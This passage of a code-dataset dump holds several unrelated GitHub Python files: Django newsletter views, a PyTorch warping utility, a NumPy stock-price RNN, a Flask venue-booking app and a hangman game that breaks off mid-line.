form.cleaned_data['delete']:\n instance.delete()\n return HttpResponseRedirect(reverse('newsletter:user'))\n instance.title_german= form.cleaned_data['title_german']\n instance.title_english= form.cleaned_data['title_english']\n instance.text_german = form.cleaned_data['text_german']\n instance.text_english = form.cleaned_data['text_english']\n instance.link_german= form.cleaned_data['link_german']\n instance.link_english= form.cleaned_data['link_english']\n instance.category= form.cleaned_data['category']\n instance.date= form.cleaned_data['date']\n instance.finished= form.cleaned_data['finished']\n publish_year = (int) (now().strftime('%Y'))\n current_month = (int) (now().strftime('%m'))\n publish_month = (int)(form.cleaned_data['publish_month'])\n if current_month>9 & publish_month<4:\n publish_year += 1\n instance.month = publish_month\n instance.year = publish_year\n instance.save()\n return HttpResponseRedirect(reverse('newsletter:user'))\n else:\n submission = get_object_or_404(Submission, pk=pk)\n if submission.author!=request.user:\n return HttpResponse(\"You are not allowed to see this page\")\n form = forms.EditForm(instance=submission,\n initial={'publish_month':submission.month})\n\n return render(request, 'edit.html', {'form':form, 'submission_id':pk})\n\ndef index(request):\n if request.method == 'POST':\n form = forms.SubscriberForm(request.POST)\n if form.is_valid():\n form.save()\n messages.success(request, \"Subscribed!\")\n return HttpResponseRedirect(reverse('newsletter:index'))\n else:\n form = forms.SubscriberForm()\n\n return render(request,'index.html', {'form':form})\n\ndef display(request):\n if 'year' in request.GET:\n year = (int) (request.GET['year'])\n if year == 0:\n form = forms.DisplayForm()\n context = {'form':form,'submission_list':None}\n return render(request,'display.html',context)\n this_year = (int) (now().strftime(\"%Y\"))\n if year == this_year:\n form = forms.CurrentYearMonthForm(request.GET)\n else:\n form = forms.MonthForm(request.GET)\n context = {'form':form,'submission_list':None}\n if 'month' in request.GET:\n month = (int) (request.GET['month'])\n if month == 0:\n form = forms.DisplayForm()\n context = {'form':form,'submission_list':None}\n return render(request,'display.html',context)\n context['submission_list'] = Submission.objects.filter(year=year,\n month=month,\n finished=True)\n else:\n form = forms.DisplayForm()\n context = {'form':form,'submission_list':None}\n return render(request,'display.html',context)\n\ndef unsubscribe(request,pk):\n instance = get_object_or_404(Subscriber, pk=pk)\n if request.method == 'POST':\n form = forms.SubscriberForm(request.POST)\n if form.is_valid():\n if form.cleaned_data['e_mail'] == instance.e_mail:\n instance.delete()\n messages.success(request, \"Unsubscribed!\")\n return HttpResponseRedirect(reverse('newsletter:index'))\n messages.warning(request, \"This e-mail address isn't correct\")\n\n else:\n form = forms.SubscriberForm()\n return render(request,'unsubscribe.html', {'form':form,'pk':pk})\n\n## mtype 1 for reminder, 2 for newsletter\n@login_required\ndef send(request):\n if not request.user.is_superuser:\n return HttpResponseForbidden('You do not have permission to view this page!')\n return render(request,'send.html')\n\n\n@login_required\ndef send_newsletter(request):\n if not request.user.is_superuser:\n return HttpResponseForbidden('You do not have permission to view this page!')\n try:\n call_command('send_newsletter')\n except CommandError as c:\n return HttpResponse(str(c.message))\n return HttpResponse(\"Newsletter sent!\")\n\n\n@login_required\ndef send_reminder(request):\n if not request.user.is_superuser:\n return HttpResponseForbidden('You do not have permission to view this page!')\n try:\n call_command('send_reminder')\n except CommandError as c:\n return HttpResponse(str(c.message))\n return HttpResponse(\"Reminder sent!\")\n","repo_name":"oguzgultepe/Newsletter","sub_path":"newsletter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33751563440","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport numpy as np\n\ndef crop(data_2d, crop):\n return data_2d[crop:-crop,crop:-crop]\n\ndef upsample(data_3d, factor):\n m = nn.Upsample(scale_factor=factor, mode='bilinear')\n data_4d = np.expand_dims(data_3d, axis=1)\n result = m(torch.from_numpy(data_4d))\n return result.data.numpy()[:, 0, :, :]\n\ndef upsample_flow(data_4d, factor):\n result = np.stack((upsample(data_4d[:, :, :, 0], factor),\n upsample(data_4d[:, :, :, 1], factor)), axis=3)\n return result\n\ndef downsample_mip(data_3d):\n m = nn.AvgPool2d(2, stride=2)\n data_4d = np.expand_dims(data_3d, axis=1)\n result = m(Variable(torch.from_numpy(data_4d)))\n return result.data.numpy()[:, 0, :, :]\n\ndef warp(data, flow):\n td = torch.from_numpy(np.expand_dims(data, 0))\n tf = torch.from_numpy(flow)\n y = F.grid_sample(td, tf)\n return y.data.numpy()[0, 0]\n","repo_name":"seung-lab/nflow_inference","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18750318518","text":"import numpy as np\n\nclass RNN():\n def __init__(self, input_dim=5, hidden_dim=100, output_dim=1, bptt=4):\n self.input_dim = input_dim\n self.hidden_dim = hidden_dim\n self.output_dim = output_dim\n self.bptt = bptt\n self.U = np.random.uniform(-np.sqrt(1./input_dim), np.sqrt(1./hidden_dim), (input_dim, hidden_dim))\n self.V = np.random.uniform(-np.sqrt(1./hidden_dim), np.sqrt(1./hidden_dim),(hidden_dim, ))\n self.W = np.random.uniform(-np.sqrt(1./hidden_dim), np.sqrt(1./hidden_dim), (hidden_dim,hidden_dim))\n\n def softmax(self, x):\n xt = np.exp(x - np.max(x))\n return xt / np.sum(xt)\n\n def propagation(self, x):\n T = len(x)\n # save all hidden states in a because need them later.\n h = np.zeros((T+1, self.hidden_dim))\n h[-1] = np.zeros(self.hidden_dim)\n # The outputs at each time step. save them for later.\n o = np.zeros((T, self.output_dim))\n # For each time step...\n for t in np.arange(T):\n h[t] = np.tanh(np.dot(x[t], self.U) + self.W.dot(h[t-1]))\n o[t] = self.softmax(self.V.dot(h[t]))\n return [o, h]\n\n # def total_loss(self, x, y):\n # L = 0\n # for i in np.arange(len(y)):\n # o, h = self.propagation(x[i])\n # correct_pred = o[np.arange(len(y[i])), y[i]]\n # L += -1 * np.sum(np.log(correct_pred))\n # return L\n #\n # def bptt(self, x, y):\n # T = len(y)\n # o, h = self.propagation(x)\n # dLdU = np.zeros(self.U.shape)\n # dLdV = np.zeros(self.V.shape)\n # dLdW = np.zeros(self.W.shape)\n # delta_o = o\n # delta_o[np.arange(len(y)), y] -= 1\n # for t in np.arange(T)[::-1]:\n # dLdV += np.outer(delta_o[t], h[t].T)\n # delta_t = self.V.T.dot(delta_o[t]) * (1-(h[t] ** 2))\n # # Backpropagation through time\n # for bptt_step in np.arange(max(0, t-self.bptt), t+1)[::-1]:\n # dLdW += np.outer(delta_t, h[bptt_step-1])\n # dLdU[:, x[bptt_step]] += delta_t\n # delta_t = self.W.T.dot(delta_t) * (1-h[bptt_step-1] ** 2)\n # return [dLdU, dLdV, dLdW]\n #\n # def SGD(self, x, y, learning_rate):\n # dLdU, dLdV, dLdW = self.bptt(x, y)\n # self.U -= learning_rate * dLdU\n # self.V -= learning_rate * dLdV\n # self.W -= learning_rate * dLdW\n\n\nimport pandas as pd\nfrom sklearn import svm, preprocessing\nimport matplotlib.pyplot as plt\n\nstock = pd.read_csv('Google.csv')\nstock.Date = pd.to_datetime(stock.Date)\nFeatures = ['Open','High','Low','Close','Volume']\ndata = {'Date':stock['Date'],'Open':stock['Adj. Open'], 'High':stock['Adj. High'], 'Low':stock['Adj. Low'], 'Close':stock['Adj. Close'], 'Volume':stock['Adj. Volume']}\nStock = pd.DataFrame(data, columns = ['Date','Open','High','Low','Close','Volume'])\nnew_x = np.array(Stock[Features])[:-1,] # 맨 마지막 데이터는 제거\nx_data = preprocessing.scale(new_x)\ny_data = np.roll(Stock['Close'][:].tolist(),-1)[:-1] # 다음날 종가로 데이터 한칸씩 땡기기\n\nRNN = RNN()\no, h = RNN.propagation(x_data)\n\n\n# def train(model, x_train, y_train, learning_rate=0.05, nepoch=100, eval_loss=5):\n# losses = []\n# num = 0\n# for epoch in range(nepoch):\n# if (epoch % eval_loss == 0):\n# loss = model.total_loss(x_train, y_train)\n# losses.append((num, loss))\n# print(\"Loss after num=%d epoch=%d: %f\" % (num, epoch, loss))\n# for i in range(len(y_train)):\n# model.SGD(x_train[i], y_train[i], learning_rate)\n# num += 1\n#\n# np.random.seed(10)\n# model = RNN()\n# losses = train(model, x_data, y_data, nepoch=10, eval_loss=1)\n\n","repo_name":"xownsxowns/TAEJUN-PROJECT","sub_path":"2.STUDY/Deeplearning study/UNIST BCILAB SUMMER DL STUDY/Stock_RNN.py","file_name":"Stock_RNN.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"34019573590","text":"import time\n\nn = 5\ndef FindTime():\n start_time = time.time()\n s = 0\n for i in range(1, n+1):\n s += 1\n end_time = time.time()\n return s, start_time-end_time\n\n\nprint(\"\\n<--------------------------------------->\")\niterations, tim = FindTime()\nprint(\"Time of execution for\", iterations, \"iterations is\", tim)\nprint(\"<--------------------------------------->\")","repo_name":"ATIF176/Coding-ACM-Fellowship","sub_path":"Practice Questions/find_time_of_execution.py","file_name":"find_time_of_execution.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"12270334485","text":"#----------------------------------------------------------------------------#\n# Imports\n#----------------------------------------------------------------------------#\n\nimport json\nimport dateutil.parser\nimport babel\nfrom flask import Flask, render_template, request, Response, flash, redirect, url_for, jsonify\nfrom flask_moment import Moment\nfrom flask_sqlalchemy import SQLAlchemy\nimport logging\nfrom logging import Formatter, FileHandler\nfrom flask_wtf import Form\nfrom forms import *\nfrom flask_migrate import Migrate \nfrom datetime import datetime, date \nimport string \n\n#----------------------------------------------------------------------------#\n# App Config.\n#----------------------------------------------------------------------------#\n\napp = Flask(__name__)\nmoment = Moment(app)\napp.config.from_object('config')\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False \ndb = SQLAlchemy(app)\n\nmigrate = Migrate(app,db)\n\n# TODO: connect to a local postgresql database\n\n#----------------------------------------------------------------------------#\n# Models.\n#----------------------------------------------------------------------------#\n\n# TODO: implement any missing fields, as a database migration using Flask-Migrate\n# TODO Implement Show and Artist models, and complete all model relationships and properties, as a database migration.\n\nclass Venue(db.Model):\n __tablename__ = 'Venue'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(), nullable=False)\n genres = db.Column(db.ARRAY(db.String))\n address = db.Column(db.String(120), nullable=False)\n city = db.Column(db.String(120), nullable=False)\n state = db.Column(db.String(120), nullable=False)\n phone = db.Column(db.String(120))\n website = db.Column(db.String(500))\n facebook_link = db.Column(db.String(120))\n seeking_talent = db.Column(db.Boolean)\n seeking_description = db.Column(db.String())\n image_link = db.Column(db.String(500))\n past_shows_count = db.Column(db.Integer, default=0)\n upcoming_shows_count = db.Column(db.Integer, default=0)\n\nclass Artist(db.Model):\n __tablename__ = 'Artist'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String)\n genres = db.Column(db.ARRAY(db.String))\n city = db.Column(db.String(120))\n state = db.Column(db.String(120))\n phone = db.Column(db.String(120))\n website = db.Column(db.String(500))\n facebook_link = db.Column(db.String(120))\n seeking_venue = db.Column(db.Boolean)\n seeking_description = db.Column(db.String())\n image_link = db.Column(db.String(500))\n past_shows_count = db.Column(db.Integer, default=0)\n upcoming_shows_count = db.Column(db.Integer, default=0) \n\nclass Shows(db.Model):\n __tablename__ = 'Shows'\n id = db.Column(db.Integer, primary_key=True)\n venue_id = db.Column(db.Integer, db.ForeignKey('Venue.id'), nullable=False)\n artist_id = db.Column(db.Integer, db.ForeignKey('Artist.id'), nullable=False)\n start_time = db.Column(db.DateTime())\n\n#----------------------------------------------------------------------------#\n# Filters.\n#----------------------------------------------------------------------------#\n\ndef format_datetime(value, format='medium'):\n date = dateutil.parser.parse(value)\n if format == 'full':\n format=\"EEEE MMMM, d, y 'at' h:mma\"\n elif format == 'medium':\n format=\"EE MM, dd, y h:mma\"\n return babel.dates.format_datetime(date, format)\n\napp.jinja_env.filters['datetime'] = format_datetime\n\n#----------------------------------------------------------------------------#\n# Controllers.\n#----------------------------------------------------------------------------#\n\n@app.route('/')\ndef index():\n return render_template('pages/home.html')\n\n# Venues\n# ----------------------------------------------------------------\n\n@app.route('/venues')\ndef venues():\n # TODO: replace with real venues data.\n # num_shows should be aggregated based on number of upcoming shows per venue.\n alldata = Venue.query.all()\n data = []\n city_data = []\n state_data = []\n for element in alldata:\n if element.city not in city_data and element.state not in state_data:\n dictionary = {}\n dictionary['city']=element.city\n dictionary['state']=element.state\n venue_dict={}\n venue_dict['id']=element.id\n venue_dict['name']=element.name\n venue_dict['upcoming_shows_count']=element.upcoming_shows_count\n dictionary['venues']=[venue_dict]\n data.append(dictionary)\n city_data.append(element.city)\n state_data.append(element.state) \n else:\n for char in data:\n if element.city == char['city']:\n venue_dict={}\n venue_dict['id']=element.id\n venue_dict['name']=element.name\n venue_dict['upcoming_shows_count']=element.upcoming_shows_count\n char['venues'].append(venue_dict)\n return render_template('pages/venues.html', areas=data)\n\n@app.route('/venues/search', methods=['POST'])\ndef search_venues():\n # TODO: implement search on artists with partial string search. Ensure it is case-insensitive.\n # seach for Hop should return \"The Musical Hop\".\n # search for \"Music\" should return \"The Musical Hop\" and \"Park Square Live Music & Coffee\"\n alldata = Venue.query.all()\n search_term = str.lower(request.form.get('search_term'))\n try: \n response = {'count': 0, }\n dictionary = []\n for venue in alldata:\n name = str.lower(venue.name)\n if search_term in name:\n response['count'] +=1\n data_dict = {}\n data_dict['id']=venue.id\n data_dict['name']=venue.name\n dictionary.append(data_dict)\n response['data']=dictionary \n db.session.commit()\n except:\n db.session.rollback()\n finally:\n db.session.close()\n return render_template('pages/search_venues.html', results=response, search_term=request.form.get('search_term', ''))\n\n@app.route('/venues/')\ndef show_venue(venue_id):\n # shows the venue page with the given venue_id\n # TODO: replace with real venue data from the venues table, using venue_id\n venuedata = Venue.query.filter_by(id=venue_id).first()\n allshows=Shows.query.filter_by(venue_id=venue_id).all() \n past_shows=[]\n upcoming_shows=[]\n for element in allshows:\n dictionary = {}\n dictionary['artist_id']= element.artist_id\n artist = Artist.query.filter_by(id=element.artist_id).first()\n dictionary['artist_name']= artist.name \n dictionary['artist_image_link'] = artist.image_link\n dictionary['start_time'] = format_datetime(str(element.start_time))\n if element.start_time > datetime.now():\n upcoming_shows.append(dictionary)\n else:\n past_shows.append(dictionary)\n data = {\n 'id' : venuedata.id,\n 'name' : venuedata.name,\n 'genres' : venuedata.genres,\n 'address' : venuedata.address,\n 'city' : venuedata.city,\n 'state' : venuedata.state,\n 'phone' : venuedata.phone,\n 'website' : venuedata.website,\n 'facebook_link' : venuedata.facebook_link,\n 'seeking_talent' : venuedata.seeking_talent,\n 'seeking_description' : venuedata.seeking_description,\n 'image_link' : venuedata.image_link,\n 'past_shows' : past_shows,\n 'upcoming_shows': upcoming_shows,\n 'past_shows_count': len(past_shows),\n 'upcoming_shows_count': len(upcoming_shows)}\n return render_template('pages/show_venue.html', venue=data)\n\n# Create Venue\n# ----------------------------------------------------------------\n\n@app.route('/venues/create', methods=['GET'])\ndef create_venue_form():\n form = VenueForm()\n return render_template('forms/new_venue.html', form=form)\n\n@app.route('/venues/create', methods=['POST'])\ndef create_venue_submission():\n # TODO: insert form data as a new Venue record in the db, instead\n # TODO: modify data to be the data object returned from db insertion\n # on successful db insert, flash success\n # TODO: on unsuccessful db insert, flash an error instead.\n # e.g., flash('An error occurred. Venue ' + data.name + ' could not be listed.')\n # see: http://flask.pocoo.org/docs/1.0/patterns/flashing/\n error = False\n try:\n name = request.form.get('name')\n city = request.form.get('city')\n state = request.form.get('state')\n address = request.form.get('address')\n phone = request.form.get('phone')\n facebook_link = request.form.get('facebook_link')\n genres = request.form.getlist('genres')\n venue = Venue(name=name, genres=genres, city=city, state=state, address=address, phone=phone, facebook_link=facebook_link, website=\"\", seeking_talent=False, image_link=\"\", past_shows_count=0, upcoming_shows_count=0)\n db.session.add(venue)\n db.session.commit()\n flash('Venue ' + request.form['name'] + ' was successfully listed!')\n except Exception as e: \n error = True\n flash (e)\n db.session.rollback()\n flash ('An error occured. Venue' + venue.name + 'could not be listed')\n finally:\n db.session.close()\n return render_template('pages/home.html')\n\n@app.route('/venues/', methods=['DELETE'])\ndef delete_venue(venue_id):\n # TODO: Complete this endpoint for taking a venue_id, and using\n # SQLAlchemy ORM to delete a record. Handle cases where the session commit could fail.\n # BONUS CHALLENGE: Implement a button to delete a Venue on a Venue Page, have it so that\n # clicking that button delete it from the db then redirect the user to the homepage\n Venue.query.filter_by(id=venue_id).delete()\n db.session.commit()\n return None\n\n# Artists\n# ----------------------------------------------------------------\n@app.route('/artists')\ndef artists():\n # TODO: replace with real data returned from querying the database\n alldata = Artist.query.all()\n data = []\n for element in alldata:\n dictionary= {}\n dictionary['id']=element.id\n dictionary['name']=element.name\n data.append(dictionary)\n return render_template('pages/artists.html', artists=data)\n\n@app.route('/artists/search', methods=['POST'])\ndef search_artists():\n # TODO: implement search on artists with partial string search. Ensure it is case-insensitive.\n # seach for \"A\" should return \"Guns N Petals\", \"Matt Quevado\", and \"The Wild Sax Band\".\n # search for \"band\" should return \"The Wild Sax Band\".\n alldata = Artist.query.all()\n search_term = str.lower(request.form.get('search_term'))\n try: \n response = {'count': 0, }\n dictionary = []\n for artist in alldata:\n name = str.lower(artist.name)\n if search_term in name:\n response['count'] +=1\n data_dict = {}\n data_dict['id']=artist.id\n data_dict['name']=artist.name\n dictionary.append(data_dict)\n response['data']=dictionary \n db.session.commit()\n except:\n db.session.rollback()\n finally:\n db.session.close()\n return render_template('pages/search_artists.html', results=response, search_term=request.form.get('search_term', ''))\n\n@app.route('/artists/')\ndef show_artist(artist_id):\n # shows the venue page with the given venue_id\n # TODO: replace with real venue data from the venues table, using venue_id\n artistdata = Artist.query.filter_by(id=artist_id).first()\n allshows=Shows.query.filter_by(artist_id=artist_id).all() \n past_shows=[]\n upcoming_shows=[]\n for element in allshows:\n dictionary = {}\n dictionary['venue_id']= element.venue_id\n venue = Venue.query.filter_by(id=element.venue_id).first()\n dictionary['venue_name']= venue.name \n dictionary['venue_image_link'] = venue.image_link\n dictionary['start_time'] = format_datetime(str(element.start_time))\n if element.start_time > datetime.now():\n upcoming_shows.append(dictionary)\n else:\n past_shows.append(dictionary)\n data = {\n 'id' : artistdata.id,\n 'name' : artistdata.name,\n 'genres' : artistdata.genres,\n 'city' : artistdata.city,\n 'state' : artistdata.state,\n 'phone' : artistdata.phone,\n 'website' : artistdata.website,\n 'facebook_link' : artistdata.facebook_link,\n 'seeking_venue' : artistdata.seeking_venue,\n 'seeking_description' : artistdata.seeking_description,\n 'image_link' : artistdata.image_link,\n 'past_shows' : past_shows,\n 'upcoming_shows': upcoming_shows,\n 'past_shows_count': len(past_shows),\n 'upcoming_shows_count': len(upcoming_shows)}\n return render_template('pages/show_artist.html', artist=data)\n\n# Update\n# ----------------------------------------------------------------\n@app.route('/artists//edit', methods=['GET'])\ndef edit_artist(artist_id):\n # TODO: populate form with fields from artist with ID \n artist = Artist.query.get(artist_id)\n form = ArtistForm(obj=artist)\n alldata = Artist.query.all()\n artist = {}\n for element in alldata:\n if element.id == artist_id:\n artist['id'] = element.id\n artist['name'] = element.name\n artist['city'] = element.city\n artist['state'] = element.state\n artist['phone'] = element.phone\n artist['genres'] = element.genres\n artist['facebook_link'] = element.facebook_link\n return render_template('forms/edit_artist.html', form=form, artist=artist)\n\n@app.route('/artists//edit', methods=['POST'])\ndef edit_artist_submission(artist_id):\n # TODO: take values from the form submitted, and update existing\n # artist record with ID using the new attributes\n error = False\n try:\n artist = Artist.query.filter_by(id=artist_id).first()\n artist.name = request.form.get('name')\n artist.city = request.form.get('city')\n artist.state = request.form.get('state')\n artist.phone = request.form.get('phone')\n artist.facebook_link = request.form.get('facebook_link')\n artist.genres = request.form.getlist('genres')\n db.session.add(artist)\n db.session.commit()\n flash('Artist ' + request.form['name'] + ' was successfully updated!')\n except Exception as e: \n error = True\n flash (e)\n db.session.rollback()\n flash ('An error occured. Artist' + artist.name + 'could not be updated')\n finally:\n db.session.close()\n return redirect(url_for('show_artist', artist_id=artist_id))\n\n@app.route('/venues//edit', methods=['GET'])\ndef edit_venue(venue_id):\n # TODO: populate form with values from venue with ID \n venue = Venue.query.get(venue_id)\n form = VenueForm(obj=venue)\n alldata = Venue.query.all()\n venue = {}\n for element in alldata:\n if element.id == venue_id:\n venue['id'] = element.id\n venue['name'] = element.name\n venue['city'] = element.city\n venue['state'] = element.state\n venue['address'] = element.address\n venue['phone'] = element.phone\n venue['genres'] = element.genres\n venue['facebook_link'] = element.facebook_link\n return render_template('forms/edit_venue.html', form=form, venue=venue)\n \n@app.route('/venues//edit', methods=['POST'])\ndef edit_venue_submission(venue_id):\n # TODO: take values from the form submitted, and update existing\n # venue record with ID using the new attributes\n error = False\n try:\n venue = Venue.query.filter_by(id=venue_id).first()\n venue.name = request.form.get('name')\n venue.city = request.form.get('city')\n venue.state = request.form.get('state')\n venue.address = request.form.get('address')\n venue.phone = request.form.get('phone')\n venue.facebook_link = request.form.get('facebook_link')\n venue.genres = request.form.getlist('genres')\n db.session.add(venue)\n db.session.commit()\n flash('Venue ' + request.form['name'] + ' was successfully updated!')\n except Exception as e: \n error = True\n flash (e)\n db.session.rollback()\n flash ('An error occured. Venue' + artist.name + 'could not be updated')\n finally:\n db.session.close()\n return redirect(url_for('show_venue', venue_id=venue_id))\n\n# Create Artist\n# ----------------------------------------------------------------\n\n@app.route('/artists/create', methods=['GET'])\ndef create_artist_form():\n form = ArtistForm()\n return render_template('forms/new_artist.html', form=form)\n\n@app.route('/artists/create', methods=['POST'])\ndef create_artist_submission():\n # called upon submitting the new artist listing form\n # TODO: insert form data as a new Venue record in the db, instead\n # TODO: modify data to be the data object returned from db insertion\n # TODO: on unsuccessful db insert, flash an error instead.\n # e.g., flash('An error occurred. Artist ' + data.name + ' could not be listed.')\n error = False\n try:\n name = request.form.get('name')\n city = request.form.get('city')\n state = request.form.get('state')\n phone = request.form.get('phone')\n facebook_link = request.form.get('facebook_link')\n genres = request.form.getlist('genres')\n artist = Artist(name=name, genres=genres, city=city, state=state, phone=phone, facebook_link=facebook_link, image_link='')\n db.session.add(artist)\n db.session.commit()\n flash('Artist ' + request.form['name'] + ' was successfully listed!')\n except Exception as e: \n error = True\n flash (e)\n db.session.rollback()\n flash ('An error occured. Artist' + artist.name + 'could not be listed')\n finally:\n db.session.close()\n return render_template('pages/home.html')\n\n# Shows\n# ----------------------------------------------------------------\n\n@app.route('/shows')\ndef shows():\n # displays list of shows at /shows\n # TODO: replace with real venues data.\n # num_shows should be aggregated based on number of upcoming shows per venue.\n alldata = Shows.query.order_by(Shows.venue_id).all() \n venuedata = Venue.query.all()\n artistdata = Artist.query.all()\n data = []\n for element in alldata:\n dictionary= {}\n dictionary['venue_id']=element.venue_id\n dictionary['artist_id']=element.artist_id\n dictionary['start_time']=str(element.start_time)\n for char in venuedata:\n if char.id == element.venue_id:\n dictionary['venue_name']=char.name\n for char in artistdata:\n if char.id == element.artist_id:\n dictionary['artist_name']=char.name\n dictionary['artist_image_link']=char.image_link\n data.append(dictionary)\n return render_template('pages/shows.html', shows=data)\n\n@app.route('/shows/create')\ndef create_shows():\n # renders form. do not touch.\n form = ShowForm()\n return render_template('forms/new_show.html', form=form)\n\n@app.route('/shows/create', methods=['POST'])\ndef create_show_submission():\n # called to create new shows in the db, upon submitting new show listing form\n # TODO: insert form data as a new Show record in the db, instead\n # on successful db insert, flash success\n # TODO: on unsuccessful db insert, flash an error instead.\n # e.g., flash('An error occurred. Show could not be listed.')\n # see: http://flask.pocoo.org/docs/1.0/patterns/flashing/\n error = False\n try:\n artist_id = request.form.get('artist_id')\n venue_id = request.form.get('venue_id')\n start_time = request.form.get('start_time')\n show = Shows(artist_id=artist_id, venue_id=venue_id, start_time=start_time)\n db.session.add(show)\n db.session.commit()\n flash('Show was successfully listed!')\n except Exception as e: \n error = True\n flash (e)\n db.session.rollback()\n flash ('An error occured. Show could not be listed')\n finally:\n db.session.close()\n return render_template('pages/home.html')\n\n@app.errorhandler(404)\ndef not_found_error(error):\n return render_template('errors/404.html'), 404\n\n@app.errorhandler(500)\ndef server_error(error):\n return render_template('errors/500.html'), 500\n\nif not app.debug:\n file_handler = FileHandler('error.log')\n file_handler.setFormatter(\n Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')\n )\n app.logger.setLevel(logging.INFO)\n file_handler.setLevel(logging.INFO)\n app.logger.addHandler(file_handler)\n app.logger.info('errors')\n\n#----------------------------------------------------------------------------#\n# Launch.\n#----------------------------------------------------------------------------#\n\n# Default port:\nif __name__ == '__main__':\n app.run()\n\n# Or specify port manually:\n'''\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n'''\n","repo_name":"siyaagarwal0225/UDACITY_Projects","sub_path":"01_fyyur/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":20386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73067218758","text":"# 반복되는 수열의 길이는 (K+1) \n# M을 (K+1)로 나눈 몫이 수열이 반복되는 횟수 , K 를 곱해주면 가장 큰수가 등장하는 횟수\n# M이 (K+1)로 나누어 떨어지지 않는 경우 , M을(K+1)로 나눈 나머지만큼 가장 큰수가 추가로 더해진다\n# 가장 큰 수가 더해지는 횟수 int(M / (K+1)) * K + M % (K + 1) \n\n# 배열의 크기 N , 숫자가 더해지는 횟수 M , 연속해서 더할수 있는 수 K\nn , m , k = map(int, input().split())\n# N개의 수를 공백으로 구분하여 입력받기\ndata = list(map(int, input().split()))\n\ndata.sort() # 입력받은 수 정렬\nfirst = data[n-1] # 가장 큰수\nsecond = data[n-2] # 두번째로 큰수 \n\n# 가장 큰 수가 더해지는 횟수 계산\ncount = int(m / (k + 1)) * k # 가장 큰수가 등장하는 횟수\ncount += m % (k + 1 ) # 나누어 떨어지지 않는 경우\n\nresult = 0\nresult += (count) * first # 가장 큰 수 더하기\nresult += (m - count) * second # 두번째로 큰 수 더하기\n\nprint(result) # 최종 답안 출력\n\n","repo_name":"inthegun/study","sub_path":"this-coding-test/python/chap3/3-2.py","file_name":"3-2.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20365870652","text":"import random\nimport os\n\ndef wordpicker(words):\n file = open(words + \".txt\", \"r\")\n wordlist = []\n for line in file:\n line = line.strip(\"\\n\")\n wordlist.append(line)\n word_index = random.randrange(0,len(wordlist))\n chosen_word = wordlist[word_index]\n return chosen_word\n\ndef lettercheck(letter, wordlist):\n if letter in wordlist:\n return True\n else:\n return False\n\ndef letterchange(word_letters, guessed_letters, letter):\n for i in range(len(guessed_letters)):\n if word_letters[i] == letter:\n guessed_letters[i] = letter\n\ndef validator(letter):\n if letter.isalpha() == True and len(letter) == 1:\n return True\n else:\n return False\n\ndef wordvalidator(word):\n count = 0\n for letter in word:\n if letter.isalpha() == True:\n count += 1\n if count == len(word):\n return True\n else:\n return False\n\nlives = 10\ngamemodes = [1,2]\nprint(\"HANGMAN: GUESS THE WORD - 1 / CHOOSE THE WORD: 2\\n\")\ngamemode = int(input(\"CHOOSE OPTION 1 OR OPTION 2: \"))\nwhile gamemode not in gamemodes:\n print(\"ENTER A VALID GAMEMODE CHOICE: \")\n gamemode = int(input(\"CHOOSE OPTION 1 OR OPTION 2: \"))\nif gamemode == 1: \n word_letters = []\n guessed_letters = []\n wrong_letters = []\n word = wordpicker(\"/Users/ben/Code/Projects/Hangman/dictionary\")\n for letter in word:\n guessed_letters.append(\"_\")\n word_letters.append(letter)\n while word_letters != guessed_letters:\n os.system(\"clear\")\n print(\"HANGMAN!\\n\")\n print(\"WORD LENGTH:\", len(word), \"\\n\")\n print(\"REMAINING LIVES: \", lives, \"\\n\")\n print(\" \".join(guessed_letters), \"\\n\")\n if len(wrong_letters) > 0:\n print(\"WRONG LETTERS:\", \" \".join(wrong_letters), \"\\n\")\n letter = input(\"ENTER A LETTER: \").upper()\n print(\"\\n\")\n valid = validator(letter)\n if valid == True:\n check = lettercheck(letter, word_letters)\n if check == True:\n letterchange(word_letters, guessed_letters, letter)\n else:\n if letter not in wrong_letters:\n wrong_letters.append(letter.upper())\n lives -= 1\n else:\n continue\n if lives == 0:\n print(\"YOU LOSE! YOUR WORD WAS: \", word)\n break\n if lives != 0:\n print(\"YOU WIN!\\n\" + word)\n\nif gamemode == 2:\n chosen_letters = []\n cpu_guessed = []\n cpu_wrong = []\n chosen_word = input(\"CHOOSE A WORD FOR THE COMPUTER TO GUESS: \").upper()\n while wordvalidator(chosen_word) == False:\n print(\"INVALID WORD. TRY AGAIN\\n\")\n chosen_word = input(\"CHOOSE A WORD FOR THE COMPUTER TO GUESS: \").upper()\n alphabet = [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\n for letter in chosen_word:\n cpu_guessed.append(\"_\")\n chosen_letters.append(letter)\n while cpu_guessed != chosen_letters:\n os.system(\"clear\")\n print(\"CPU IS PLAYING...\\n\")\n print(\"YOUR WORD:\", chosen_word, \"\\n\")\n print(\" \".join(cpu_guessed), \"\\n\")\n if len(cpu_wrong) > 0:\n print(\"WRONG LETTERS:\", \" \".join(cpu_wrong), \"\\n\")\n cpu_index = random.randrange(0, len(alphabet))\n alpha_index = 